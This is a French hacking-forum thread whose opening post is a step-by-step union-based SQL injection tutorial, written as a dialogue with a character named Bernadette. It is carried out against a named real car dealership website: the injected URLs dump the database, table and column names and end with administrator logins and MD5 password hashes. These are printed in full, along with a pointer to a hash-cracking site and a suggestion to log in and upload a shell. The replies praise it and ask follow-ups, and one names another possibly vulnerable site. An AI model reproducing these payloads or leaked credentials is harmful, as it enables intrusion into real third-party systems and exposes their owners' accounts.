Annonce

Réduire
Aucune annonce.

Tutoriel détaillé SQL injection (string) avec image

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel détaillé SQL injection (string) avec image

    Bonsoir,
    aujourd'hui je vous ai préparer un petit tutoriel par la demande de xCon, car très occupé et moi même, il n'a pas pu faire ce tutoriel, donc j'ai trouvé un petit moment pour le faire ( enfin un gros x) ) sur l'injection SQL de type string.

    SURTOUT : ce tutoriel est à titre EDUCATIF donc vous êtes les seul responsable de ce que vous faite.



    - Bernadette : Mais c'est quoi ça encore ? é_è



    Ah oui j'ai oublié de vous présenter Bernadette, qui sera elle aussi ici pour apprendre.
    Ne t’inquiète pas Bernadette, je vais tout t’expliquer et aux autre ! Bien-sûr de A à Z !
    Commençons nôtre petit leçon !

    Pour répondre à la question de Bernadette, je vais utilisé notre amis Wikipédia :

    Une injection SQL est un type d’exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.



    - Bernadette : Mais sa veut dire que, si on arrive à trouvé une faille SQL sur un site, on peut récupérer les infos que l'on veut ?



    Belle question ! Oui , à condition de savoir comment faire , et c'est là le but de mon tutoriel chère amie Bernadette .

    Pour commencé, vous devez savoir ce que sait un Dork



    - Bernadette : Un Dork ? C'est moche ce mot, c'est quoi ?



    Bernadette, laisse moi t’expliquer !
    Un Dork, c'est une sorte de commande que tu utilise sur les navigateurs de recherche.
    Mais bien-sûr, cette commande sert à cherche ce que l'on veut,

    Par exemple :
    inurl:"index.php?id="

    Cette commande que tu met sur Google, cherche que des sites avec "index.php?id=" dans son URL. En gros un Dork sert à détaillé sa recherche, et filtré les sites qui ne corresponde pas. J'en reste là pour les Dork, car ce n'ai pas un tutoriel sur le Dorking .
    Mais il faut savoir que il y a beaucoup de Dork.

    Voilà vous l'aurez compris , on va utilisé un Dork pour trouver une faille SQL, sur le net.



    - Bernadette : Mais comment avec ce ... Dork , on va trouver une faille ? O_o'



    Roh t'es pas patiente Bernadette ! Tu me laisse jamais finir , mais belle question .
    Alors voilà, j'ai utilisé le Dork que je vous ai mis et j'ai trouvé un site.

    http://www. citroen-auch.com/achat/index.php?id=64



    -Bernadette : Mais je ne voie pas de faille ?



    Oui je sais ! Il suffit de mettre " ' " dans votre URL , ce qui donne :

    http://www. citroen-auch.com/achat/index.php?id=64'

    Si tout marche bien sur vôtre site vous aurez une erreur du genre :

    Capture.jpg



    - Bernadette : Ahh ! Donc c'est ça une erreur SQL !



    Et oui, nombreux d'entre vous on dût déjà la voir , maintenant vous saurez qu'on peut l’exploiter !


    - Bernadette : Mais comment ?


    Ne vous inquiétez pas , comme je l'ai dit je vais vous expliquez de A à Z.


    - Bernadette : Maintenant que j'ai mon site avec une faille, je dois faire quoi ?

    Maintenant tu dois utilisé, la fonction "order by",
    je t'explique,
    pour trouvé le nombre de columns on utilise la fonction "order by".

    Pour l'utilisé on fait comme ceci,

    on récupére le site faillé,

    http:// www.citroen-auch.com/achat/index.php?id=64

    et on injecte dans notre URL :

    http:// www.citroen-auch.com/achat/index.php?id=64 order by 1--

    Maintenant actualisé la page. Si rien ne ce passe c'est bon, si l’erreur revient , faite comme ça :

    http:// www.citroen-auch.com/achat/index.php?id=64 order by 1/*

    maintenant nous allons faire ça jusqu'à que il y a une erreur.

    http:// www.citroen-auch.com/achat/index.php?id=64 order by 15-- <== Erreur
    http:// www.citroen-auch.com/achat/index.php?id=64 order by 14-- <== ça marche !

    Nous avons trouver la column !



    - Bernadette : Et alors je n'y comprend rien, sa nous sert à quoi ?

    Ce n'ai pas finis ^^.
    Maintenant que l'on connais la column, il suffit d'utiliser "union all select".


    - Bernadette : Oulah ... Je n'y comprend plus rien !


    Je t'explique, regarde :
    On a trouver la column qui est de 14,
    donc il suffit de faire :

    http:// www.citroen-auch.com/achat/index.php?id=64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

    (n’oubliai pas le -- ou /* )

    Si rien n'apparait il faut faire buggé le site , mettais " - " dans l'URL comme suit :

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

    Capture2.PNG



    - Bernadette : Euh .. ça ne fait rien , il y a juste des chiffre "3,10,11" qui apparait !


    Oui justement ! Sa veut dire que ça marche !
    Par la suite, on va voir comment trouver la version de MYSQL avec cet commande " @@version" mais la Bernadette, tu dois savoir ou on va écrire ça ?

    - Bernadette : Bha oui ! ... Euh en faite non ..

    Roh ^^ ,donc je t'explique , il faut remplacer comme ceci :

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,@@version,11,12,13,14--

    Capture3.PNG

    Mais il faut savoir que tout les site qui utilise la version MYSQL 4.x.x.x > ne sont pas exploitable, mais tous les sites qui utilise la version 5.x.x.x sont exploitable.


    - Bernadette : Mais moi je m'en fou de la version je veux hack le site !


    Patience chère amie ! Maintenant nous allons apprendre comment trouver le nom des DB ! Pour ça il faut utilisé " group_concat(schema_name) " et " from information_schema.schemata "


    - Bernadette : Oulah ! Ça devient compliqué ...

    Mais non ! Regarde :

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11,12,13,14 from information_schema.schemata--

    Et oui il suffit de remplacer le "@@version" par ce que je vous ai donner ! Et d'ajouter " from information_schema.schemata " .

    Capture4.PNG

    Et là vous avez le nom des DB qui est : information_schema,citroena,test


    - Bernadette : Ah ! Je comprend mieux ! Mais maintenant qu'on à le nom des DB il faut faire quoi ?
    Et bien maintenant , nous connaissons ces DB , mais il faut trouver lequel il utilise ! Pour cela il faut remplacé " groupe_concat(schema_name) " par " concat(database()) "

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,concat(database()),11,12,13,14 from information_schema.schemata--


    Capture5.PNG

    Voilà ! On a trouver le nom de la DB qu'il utilise ! Dans mon cas : citroena

    Maintenant que l'on connais le nom de la DB , on doit connaitre le nom des tables, pour cela il faut remplacer "concat(database())" par "group_concat(table_name)"
    et ajouter "from information_schema.tables where table_schema=database()" à la fin de l'URL , ce qui nous donne :

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14 from information_schema.tables where table_schema=database()--



    Bingo ! Nous avons trouver le nom de la table admin ! qui est : peel_admin

    Maintenant il nous faut trouver les column, pour cela il faut utilisé ceci :

    group_concat(column_name)
    et
    from information_schema.columns where table_schema=database()--
    Vous avez compris le truc ^^ , ce qui donne :


    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14 from information_schema.columns where table_schema=database()--



    Au faite group_concat, si vous ne l'avez pas vue c'est pour tout listé sur une ligne .
    Avec ce que je vous ai montrer vous ne voyé pas le nom des column ! Pas de problème essayé ceci

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14 from information_schema.columns where table_schema=database()--

    On a trouvé !

    admin_email
    admin_pwd admin_login

    Maintenant pour finir, il faut utilisé

    group_concat(NOMcolumnpseudo,0x3a,NOMcolumnpassword)

    et

    from nomDB.nomTABLE--

    Donc ce qui donne :

    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(admin_login,0x3a,admin_pwd),11,12,13,14 from citroena.peel_admin--



    Bingoo ! Nous avons les mots de passe admin ! qui est :

    piecesautos:c303b2598941fd507df5048f74e192d1
    adammed:45aaa73f03a30657e7d00549187aa399


    - Bernadette : Ouah ! Merci mille fois , mais le mot de passe est bizarre non ?


    Oui ! il est crypté en MD5 , donc pour le décrypter je vous propose un site fait pour ça comme : http://www.md5decrypter.co.uk/


    Et voilà ! Le tour est joué
    - Bernadette : Merci Geuks , c'était pas si dur que ça !

    Mais derien ^^, maintenant il ne vous reste plus qu'a trouver la page admin et de vous connecter et pourquoi pas injecter votre shell !

    Tutoriel crée par : Geuks.
    No leech .

    Idée et dédicace à xConsole.

    PS : désolé pour la présentation mais j'attend que les balises fonctionne mieux ^^.
    Dernière modification par Geuks, 27 octobre 2011, 20h09.
    Si tu l'as fais c'est que tu peux le refaire.

  • #2
    Et bien en voilà un tutoriel complet sur le SQL , clair , précis , détaillé et très bien expliqué avec exemple à l'appui !
    Excellent travail ! Faut vraiment que je commence à m'y mettre ...

    Commentaire


    • #3
      Merci , mais j'aurais pu mieux présenter, mais bon dés que les balises ne bug plus sa sera tout beau ^^
      Si tu l'as fais c'est que tu peux le refaire.

      Commentaire


      • #4
        Excellent tuto, rien à dire c'est du lourd

        Commentaire


        • #5
          Superbe tutoriel merci du partage

          Commentaire


          • #6
            Ca fait un peu mal aux yeux niveau orthographe et la présentation avec bernadette me laisse... entre pantois et dubitatif

            Ceci dit, tout y est et c'est clair ! Donc merci beaucoup pour ce tuto !

            Commentaire


            • #7
              Moi je trouve ca fun la présentation avec bernadette :P

              Commentaire


              • #8
                Y'a un truc que je pige pas. Comment tu trouves admin_login et admin_pwd ?
                Plus généralement, comment tu trouves quelles sont les informations contenues dans telle ou telle colone ?

                Si je comprend bien, là, au final tu affiches admin_login et admin_pwd, issus de la colone "peel_admin". Ca me semble tout a fait logique, meme si on sait pas d'ou sortent les trucs, comme dit avant.

                Ok, mainteant, je cherche autre chose. Par exemple, le contenu de la colone utilisateurs_cadeaux ? Comment je sais ce qu'il y a dedans ? Comment je sais quoi invoquer pour afficgher les données nécessaires ?

                J'espère que c'est assez compréhensible, sinon dites moi et j'essayerai d'éclaircir

                Commentaire


                • #9
                  Merci pour le tuto Geuks

                  J'avoue au début je captais pas trop le délire avec Bernadette, tu nous as fait un truc un peu ambiance "humour site du zero" ^^ Bon, pourquoi pas

                  Bon alors pour ce qui est des fautes... mon ami... je sens que je vais y passer 5 à 10mn...

                  Pour la présentation en tous cas, oui les balises sont pour le moment un peu à l'ouest mais on règle le souci. Par contre, faudra pas non plus mettre TROP de balises... surtout la balise fontsize...

                  Au début, les 2 premiers tiers du tuto, j'me suis dit à chaque ligne je déplace en Level II, je déplace en level II, je déplace en level II... et arrivé vers la fin... hmmm, level III c'est mieux

                  Par contre t'as oublié plein de détails important pour la compréhension de nos hôtes, je vais m'en occuper (du coup va falloir rallonger à 15mn....).

                  Merci quand même Geuks

                  Bisou à Bernadette

                  -- Jacques, soit pas jaloux^^
                  sigpic

                  Cyprium Download Link

                  Plus j'étudie plus j'me rends compte que je n'sais rien.

                  †|

                  Commentaire


                  • #10
                    Oui t'inquiéte j'ai compris , bha simplement en enlevant group_concat ce qui donne

                    http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14 from information_schema.columns where table_schema=database()--
                    et là tu as " admin_pwd" et "admin_login"

                    ( j'ai édité sur le poste )

                    Sinon la méthode que tu veux je voie c'est la quel, mais je m'en rappel plus , faut dire que les injection SQL ça fait un moment ..


                    - Oui je sais SAKAROV , mais comme je te dit j'ai pas trop le temps j'ai essayé de faire le plus détaillé possible ,et le plus vite , certains détails mon peux être échappé . Mais n’hésite pas à me dire ( désolé pour les fautes haha )
                    Dernière modification par Geuks, 27 octobre 2011, 20h07.
                    Si tu l'as fais c'est que tu peux le refaire.

                    Commentaire


                    • #11
                      Merci pour la précision, mais tu as oublié cette partie (ou alors j'ai pigé de travers ^^)
                      "Ok, mainteant, je cherche autre chose. Par exemple, le contenu de la colone utilisateurs_cadeaux ? Comment je sais ce qu'il y a dedans ? Comment je sais quoi invoquer pour afficher les données nécessaires ?"

                      En somme je cherche quelque chose comem ca : union all select 1,2,3,4,5,6,7,8,9,group_concat(DONNEE A, DONNEE B,...),11,12,13,14 from citroena.[COLONE PERTINENTE]--

                      D'ailleurs il s'agit bien d'une colonne peel_admin ?

                      Autre question, pourquoi union all select ? J'ai l'impression que union select fait exactement la même chose, si ce n'est que sans le all ca a l'air de dégrouper.

                      Encore une, quand on met des valeurs dans les colones avec 1,2,3,4,5,6, etc. On remplace en fait par @@version (ou autre) une colone dont on connait l'emplacement d'affichage parce que c'est le seul qui correspond à un nombre donné, c'est ça ? Sinon dans l'absolu ou pourrait mettre 666,666,666,... ca serait pareil ? On ne pourrait simplement pas identifier une colone intéressante, n'est-ce pas ?

                      Sinon, je ne serais pas contre un peu d'explication... N'y connaissant rien en MySQL (la raison est simple : ce ne m'intéresse(ait?) pas !), je ne comprend pas pourquoi on injecte telle ou telle chose.

                      Je vous entend déjà venir avec vos lmgtfy, mais venant de vous avec vos mots, ca doit etre mieux que d'article trop vaste et complexes sur le sujet.

                      exemple tout con :
                      union all select 1,2,3,4,5,6,7,8,9,group_concat(admin_login,0x3a,admin_pwd),11,12,13,14 from citroena.peel_admin--

                      En gros là on demande de remplir toute les colones avec certaines valeurs. Une certaine colone prend les valeurs X et Y, de la table peel_admin, de la database citroena ?

                      Erf j'suis un peu largué, je veux bien un poil d'explication ^^

                      Pis ca vous fait vraiment chier, à l'occase je demanderais à Google ^^

                      Merci d'avoir lu ce pavé !

                      Commentaire


                      • #12
                        Envoyé par comaX Voir le message
                        exemple tout con :
                        union all select 1,2,3,4,5,6,7,8,9,group_concat(admin_login,0x3a,admin_pwd),11,12,13,14 from citroena.peel_admin--

                        En gros là on demande de remplir toute les colones avec certaines valeurs. Une certaine colone prend les valeurs X et Y, de la table peel_admin, de la database citroena ?
                        group_concat: ça concatène plusieurs valeurs. Là on concatène admin_login, qui est le nom de la colonne du login dans la table, admin_pwd qui est le nom de la colonne du password dans la table, et 0x3a. 0x3a en fait c'est la caractère : 0x indique qu'on passe une référence en hexadécimal et 3a en hexadécimal = 58 en décimal et la caractère 58 de la table ascii c'est le :

                        Donc en définitive ça va te retourner login:­password de l'admin.
                        Dernière modification par comaX, 15 novembre 2012, 17h08.

                        Commentaire


                        • #13
                          Merci pour ce tuto, je trouve que c'est le plus clair que je n'est jamais vu jusqu’à présent, car d'habitude on nous parle de php etc, mais on ne rentre pas dans les détaille de la faille comme tu l'as fait.

                          En tout cas merci bien.

                          Commentaire


                          • #14
                            De plus en plus de sites s'en protège, non pas en rectifiant l'erreur, mets en interdisant l'accès. En effet je suis tombé sur de nombreuses erreur 403 et même une "Access denied by security policy"
                            Aussi, est-il vraiment possible d'avoir autant d'erreur ? : http://www.muddam.com/shopping/buy.php?id=1
                            Dernière modification par FRKorisS, 31 octobre 2013, 22h30.
                            Mess with the best, Die like the rest

                            Commentaire


                            • #15
                              Joli ! j'adore le délire avec Bernadette ! t'es ouf et j'adore !
                              sigpic
                              Notre Liberté Ne Doit Pas Être Limitée
                              Pour Permettre A Une Minorité De S’enrichir

                              Commentaire

                              Chargement...
                              X